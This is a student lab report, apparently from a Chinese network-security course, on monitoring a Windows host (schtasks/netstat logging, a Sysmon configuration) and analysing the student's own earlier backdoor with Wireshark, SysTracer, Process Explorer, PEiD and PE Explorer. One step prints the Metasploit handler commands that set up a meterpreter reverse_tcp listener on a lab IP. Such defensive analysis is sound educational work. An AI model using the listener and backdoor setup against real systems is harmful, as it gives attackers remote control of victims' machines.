【网络对抗技术】20181234 Exp4 恶意代码分析
目录
实验报告
一、实践目标
1.监控自己系统的运行状态,看有没有可疑的程序在运行。
2.分析Exp2或Exp3中生成后门软件。(分析工具尽量使用原生指令或sysinternals,systracer套件)
3.假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质。
二、实践原理
1.恶意代码的定义
定义一:恶意代码又称恶意软件,是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件。
定义二:恶意代码是指故意编制或设置的、对网络或系统会产生威胁或潜在威胁的计算机代码。
最常见的恶意代码有计算机病毒、特洛伊木马、计算机蠕虫、后门、逻辑炸弹等
2.恶意代码的特征
- 
恶意的目的 
- 
本身是计算机程序 
- 
通过执行发生作用 
3.恶意代码的传播手法
- 
软件漏洞 
- 
用户本身 
- 
软件漏洞+用户本身 
4.恶意代码的分析方法
- 
静态分析 - 
文件扫描(VirusTotal、VirusScan工具等) 
- 
文件格式识别(peid、file、FileAnalyzer工具等) 
- 
字符串提取(Strings工具等) 
- 
反汇编(GDB、IDAPro、VC工具等) 
- 
反编译(REC、DCC、JAD工具等) 
- 
逻辑结构分析(Ollydbg、IDAPro工具等) 
- 
加壳脱壳(UPX、VMUnPacker工具等) 
 
- 
- 
动态分析 - 
快照比对(SysTracer、Filesnap、Regsnap工具等) 
- 
抓包分析(WireShark工具等) 
- 
行为监控(Filemon、Regmon、ProcessExplorer工具等) 
- 
沙盒(NormanSandbox、CWSandbox工具等) 
- 
动态跟踪调试(Ollydbg、IDAPro工具等) 
 
- 
三、实践内容
1-系统运行监控
(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。
1.1使用schtasks指令监控系统
- 使用命令 schtasks /create /TN netstat1234 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt" 创建任务计划 nestat1234

TN   是TaskName的缩写,创建的计划任务名是netstat1234 
sc   表示计时方式,按要求每隔一分钟记录一次,故使用MINUTE 
TR   是Task Run,要运行的指令是netstat 
bn   b表示显示可执行文件名,n表示以数字来显示IP和端口
>    表示输出重定向,将输出存放在c:\netstatlog.txt文件中
此命令完成后,每1分钟就会监测哪些程序在使用网络,并把结果记录在netstatlog.txt文档里,为了显示日期和时间,我们通过bat批处理文件来实现。
- 在桌面上创建一个netstatlog.bat文件,然后将其放入C盘根目录下。文件内容为:
date /t >> c:\netstatlog.txt time /t >> c:\netstatlog.txt netstat -bn >> c:\netstatlog.txt
- 
进入任务计划程序,找到建立的netstat1234。 

- 
双击任务,点击窗口上方的操作,进入后点编辑。 

- 
将程序和脚本修改为刚才创建的netstat.bat,添加参数(可选)为空。 

- 
点击窗口上方的常规,勾选使用最高权限运行。(由于我们要在C盘根目录下建文件,需要管理员权限) 

- 
点击窗口上方的条件,取消默认勾选的电源选项,否则在不插电的情况下将无法生成netstatlog.txt文件。 

- 此时查看C盘根目录下的netstatlog.txt文件,可发现已经有了时间的记录:

1.2将数据导入excel
- 导入文本数据:新建excel文件→选择数据→选择导入数据。

- 
点击选择数据源,选择记录连接情况的文本netstatlog.txt,点击导入 

- 
文件转换,选择简体中文 

- 进入文件导入向导第一步,选中分隔符号,点击下一步。

- 进入文件导入向导第二步,选中全部分隔符号,点击下一步。

- 进入文件导入向导第三步,列数据格式选择常规,点击完成。

- 发现文件导入成功!

1.3用excel分析数据
- 
查看所有联网程序的联网次数 - 
选中要分析的列; 
 
- 
- 
- 
点击插入->数据透视图; 
 
- 
- 
- 
选择在一个新工作表中生成; 
 
- 

- 
- 在右侧字段列表中勾选周日->取消选择那些没有意义的字段(如TCP,协议,周日等等),然后点击确定;(实在截不到图)
 
- 将该字段拖动到下方的轴字段和数值两个区域中;

- 然后就可以看到统计图了

 
由图表看出,联网最多的是浏览器(SLBrowser应该是联想浏览器),约占总联网数的1/3。
其次是LSF,LSF(Load Sharing Facility)是分布资源管理的工具,用来调度、监视、分析联网计算机的负载。
(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。
sysmon是微软Sysinternals套件中的一个工具,它以系统服务和设备驱动程序的方法安装在系统上,并保持常驻性。
sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供有关进程创建,网络链接和文件创建时间更改的详细信息。
2.1安装sysmon
- 
下载老师提供的SysinternalsSuite201608压缩包并解压 
- 
用管理员身份打开命令提示符,进入到SysinternalsSuite201608目录下 
- 
安装sysmon:执行命令 Sysmon.exe -i sysmon20181234.xml 

安装成功!
2.2配置文件
- 
使用sysmon工具前首先要配置文件。 
①进程创建ProcessCreate的过滤事件选项有: UtcTime, ProcessGuid, ProcessId, Image, CommandLine, CurrentDirectory, User, LogonGuid, LogonId, TerminalSessionId, IntegrityLevel, Hashes, ParentProcessGuid, ParentProcessId, ParentImage, ParentCommandLine
②进程创建时间FileCreatTime的过滤事件选项有: UtcTime, ProcessGuid, ProcessId, Image, TargetFilename, CreationUtcTime, PreviousCreationUtcTime
③网络连接NetworkConnect的过滤事件选项有: UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourceIsIpv6, SourceIp, SourceHostname, SourcePort, SourcePortName, DestinationIsIpv6, DestinationIp, DestinationHostname, DestinationPort, DestinationPortName
④远程线程创建CreateRemoteThread的过滤事件选项有: UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction
⑤其他时间过滤器、过滤事件的选项、onmatch选项可取值、condition可设置的值、配置文件样例,可以参考使用轻量级工具Sysmon监视你的系统 - FreeBuf网络安全行业门户
- 
在sysmon所在目录下创建配置文件 sysmon20181234.xml在里面输入 
<Sysmon schemaversion="3.10"> <!-- Capture all hashes --> <HashAlgorithms>*</HashAlgorithms> <EventFiltering> <!-- Log all drivers except if the signature --> <!-- contains Microsoft or Windows --> <ProcessCreate onmatch="exclude"> <Image condition="end with">SLBrower.exe</Image> </ProcessCreate> <FileCreateTime onmatch="exclude" > <Image condition="end with">SLBrower.exe</Image> </FileCreateTime> <NetworkConnect onmatch="exclude"> <Image condition="end with">SLBrower.exe</Image> <SourcePort condition="is">137</SourcePort> <SourceIp condition="is">192.168.43.224</SourceIp> </NetworkConnect> <NetworkConnect onmatch="include"> <DestinationPort condition="is">80</DestinationPort> <DestinationPort condition="is">443</DestinationPort> </NetworkConnect> <CreateRemoteThread onmatch="include"> <TargetImage condition="end with">explorer.exe</TargetImage> <TargetImage condition="end with">svchost.exe</TargetImage> <TargetImage condition="end with">winlogon.exe</TargetImage> <SourceImage condition="end with">powershell.exe</SourceImage> </CreateRemoteThread> </EventFiltering> </Sysmon>
- 参数说明:
- 
- 
ProcessCreate表示进程创建, 
- 
NetworlConnect是网络连接, 
- 
CreateRemote是远程线程创建, 
- 
FileCreate Time是进程创建时间。 
- 
在onmatch后面跟的参数include和exclude分别表示“免检”和“必检”名单。免检名单(白名单)中在统计时忽略掉,必检名单(黑名单)在检测时需要进行匹配。 
 
- 
- 
内容含义 - 
Image condition:这里要根据自己使用的浏览器更改,例如联想浏览器的进程名是“SLBrower.exe”。写在exclude中就是不记录由联想浏览器创建的进程。想知道浏览器进程名,可以查看上一阶段的“netstatlog.txt”中的记录。 
- 
网络连接过滤掉了浏览器的网络连接、源IP为192.168.43.224的网络连接和目的端口为137的连接服务,且查看目的端口为80(http)和443(https)的网络连接。 
 
- 
- 
- 
137端口的主要作用是在局域网中提供计算机的名字或IP地址查询服务,一般安装了NetBIOS协议后,该端口会自动处于开放状态。 
- 
192.168.43.224表示本机IP。 
- 
远程线程创建记录了目标为explorer.exe、svchost.exe、winlogon.exe和powershell.exe的远程线程。 
 
- 
- 
- 
explorer.exe是Windows程序管理器或者文件资源管理器 
- 
svchost.exe是一个属于微软Windows操作系统的系统程序,是从动态链接库中运行的服务的通用主机进程名称。 
- 
winlogon.exe是Windows NT 用户登陆程序,用于管理用户登录和退出。 
- 
powershell.exe是专为系统管理员设计的新 Windows 命令行外壳程序。该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用。 
 
- 
2.3在事件查看器里查看日志
- 
打开事件查看器,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational中,我们可以看到按照配置文件的要求记录的新事件,以及事件ID、任务类别以及详细信息。 

- 
查看相关信息 


- 在kali中运行一下以往生成的任意一个后门并做到成功回连

- 点击Sysmon-Operational刷新记录,找到运行后门文件20181234_backdoor.exe相对应的日志如下:

分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏)该后门软件读取、添加、删除了哪些注册表项/读取、添加、删除了哪些文件/连接了哪些外部IP,传输了什么数据(抓包分析)
- 打开Wireshark,选择VMware Network Adapter VMnet8接口开始抓包
(这里的接口一定要选对,我之前选的WLAN接口捕不到包是因为kali回连的地址是192.168.81.1,在cmd用ipconfig查看接口)

- 
使用后门程序进行回连 

- 
输入过滤条件 ip.addr == 192.168.81.129 && ip.addr == 192.168.81.1,可以看到Wireshark上捕获到大量的TCP传输,输入其他命令,Kali会不断给Windows传一大堆ACK包,有时还伴有PSH+ACK包。(PSH就表示有 DATA数据传输)


- 
下载安装Systracer——点击exe安装,在弹出的窗口中点击I agree 

- 
选择第二个 

- 
设置监听端口号为学号1234并安装 

- 
在打开后门前先快照一下,点击take snapshot——获得快照一 

- 
等待一会,快照完成 

- 
完成后显示为Snapshop #1 

- 
Kali打开监听,完成相关设置后开始监听,Windows运行后门后,拍摄快照: 
use exploit/multi/handler // 使用监听一种后门 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.81.129 //kali的IP地址,也就是被监听主机将要连接的IP地址 set LPORT 1234 exploit

- 
完成后显示为Snapshop #2 
- 查看信息

- 
分析对比Snapshot #1和Snapshot #2(回连前后对比) 
- 
在快照界面右下角点击“Compare”,比对一下回连前后计算机发生的变化: 
- 
更新、添加、删除了部分注册表项 


注册表项以删除为主,删去了很多注册表项
- 
更新、添加、删除了部分文件 


文件以更新为主,更新了很多文件
- 
更新、添加、删除了部分软件 


在后门启动后,多出了20181234_backdoor.exe和其他的软件
- 
分析对比 Snapshot #2 vs Snapshot #3(screenshot命令前后对比) - 
在注册表项,文件,软件,进行了更新 
 
- 



- 
端口方面也发生了变化 

动态分析——使用Process Explorer分析恶意软件
Process Explorer是由Sysinternals开发的Windows系统和应用程序监视工具,目前已并入微软旗下。不仅结合了Filemon(文件监视器)和Regmon(注册表监视器)两个工具的功能,还增加了多项重要的增强功能。包括稳定性和性能改进、强大的过滤选项、修正的进程树对话框(增加了进程存活时间图表)、可根据点击位置变换的右击菜单过滤条目、集成带源代码存储的堆栈跟踪对话框、更快的堆栈跟踪、可在 64位 Windows 上加载32位日志文件的能力、监视映像(DLL和内核模式驱动程序)加载、系统引导时记录所有操作等
- 
使用动态软件进行监测分析时,后门程序必须处于回连的状态。 
- 
在Process Explorer工具中查找到程序记录 

- 可以详细查看该进程使用的CPU,虚拟内存空间、物理内存空间、I/O等。
 
 
Process Monitor是一款由Sysinternals公司开发的包含强大的监视和过滤功能的高级Windows监视工具,可实时显示文件系统、注册表、进程/线程的活动.
- 开启软件可以看到各个进行的详细记录,通过查找功能(那个小小的望远镜)查看到后门程序的进程,注意全字符匹配。

- 
可以看到进程的详细信息和调用的dll库 


PEiD(PE Identifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名.
- 
查看没有加壳的后门程序,发现什么也没有发现 

- 
查看经过压缩壳的后门程序,可以查看到压缩壳的版本 

- 
查看经过加密壳的后门程序,发现什么都没有发现,说明了该软件无法检测到加密壳。 

软件加壳前后的EP段发生了改变,没有壳时EP段为.text,即代码段
而加壳后,EP段为UPX1,可以发现,这样使得加壳的后门文件有更显眼的特征,这可能就是加壳后,软件的查杀率更高的原因了。
- 
除此之外,PEID还有一些功能,如多文件扫描,任务查看器等等 
- 
多文件扫描可以直接看到所扫描的文件夹下有几个加了压缩壳的文件 

- 
任务管理器可以看到任务额镜像基址 

- 
对实验二中的后门软件进行扫描,结果如下: 
- 
DETECTION是各杀软对后门的检测结果,红圈叹号都表示某一杀软对该后门检测出来的问题所在,其中一些杀毒软件甚至给出了详细的分类。 

- 
DETAILS部分是对后门的详细分析,可执行文件类型,运行子系统,各种算法下的哈希值,校验和等。再往下面,可以看到程序编译时间戳,各个段,导入的DLL等。 
- 
展开Imports,我们可以看到程序引用了那些具体的API,这部分内容很关键,通过这个我们可以具体了解恶意程序可能做的事情。 

图中可以看到程序的摘要值、PE文件头、生存时间和文件大小。
TrID ,是一个软件工具,可以识别基于其二进制特征码文件类型的文件类型定义数据库,保存为一个单独的文件,并可以通过下载定义库的新版本更新。 主定义包被命名为“ TrIDDefs.TRD ”和该应用程序打开时被加载。由用户选择的文件核对,在TrIDDefs.TRD文件中的定义来确定文件类型。

这个是网络链接,可以看到这个程序连了kali的ip和主机的cmd.exe
PE Explorer是功能超强的可视化Delphi、C++、VB程序解析器,能快速对32位可执行程序进行反编译,并修改其中资源。该软件支持插件,可以通过增加插件加强该软件的功能,原公司在该工具中捆绑了UPX的脱壳插件、扫描器和反汇编器,可以查看程序头部信息(默认界面)、程序静态数据目录、程序结头信息、对程序反汇编等等,非常好用。
- 
打开在实验三中生成的加了压缩壳的后门软件 - 查看程序头部信息
 
 
- 
- 
查看程序引用的dll库,点击view→import 
 
- 

- 
- 
查看程序的节头信息,点击view→section headers 
 
- 

- 
- 
进行反汇编,点击 tools→Disassambler
 
- 

- 
打开在实验三中生成的加了加密壳的后门软件 
- 
查看程序头部信息 

- 
查看程序的节头信息 

- 
查看程序引用的dll库 

- 
msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件
- 
kernel32.dll属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,是必需的。
分析生成的后门程序,发现这些程序都会使用KERNEL32.dll,所以如果发现有陌生软件使用KERNEL32.dll,应当提高警惕,防范是恶意软件。
(1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
- 
使用windows自带的schtasks指令设置一个计划任务,发现网络连接异常 
- 
使用Sysmon,编写配置文件,记录有关的系统日志 
- 
使用Process Explorer工具,监视进程执行情况。 
- 
使用Process Monitor工具,监视文件系统、注册表、进程/线程的活动。 
- 
使用Systracer拍摄快照,对比不同快照,查看是否有可疑的增删注册表、启动项的行为。 
- 
使用wireshark查看自己计算机的端口开放情况,查看未知端口进行可疑的数据传输 
(2)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
- 
使用systracer工具分析恶意软件,查看其对注册表和文件的修改。 
- 
使用Wireshark进行抓包分析,监视其与主机进行的通信过程。 
- 
使用PEiD查看程序是否加壳,加的什么壳 
- 
使用Process Explorer工具或Process Monitor工具,监视文件系统、注册表、进程/线程的活动。 
五、实验总结与体会
这次实验运用了很多新的软件来分析之前产生的恶意代码,因为没有选修《恶意代码分析》这门选修课,所以很多知识都要慢慢的从网上寻找,直接看学长学姐的博客,能很明显的感觉到许多知识的不理解。通过实验二,实验三,实验四的完成,我对恶意代码的产生,防御,检测,分析都有了更深的了解,但依然有很多知识需要私下补足。信息安全领域是一个庞大的领域,我们一定要有安全意识,学会保护好自己的信息。

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号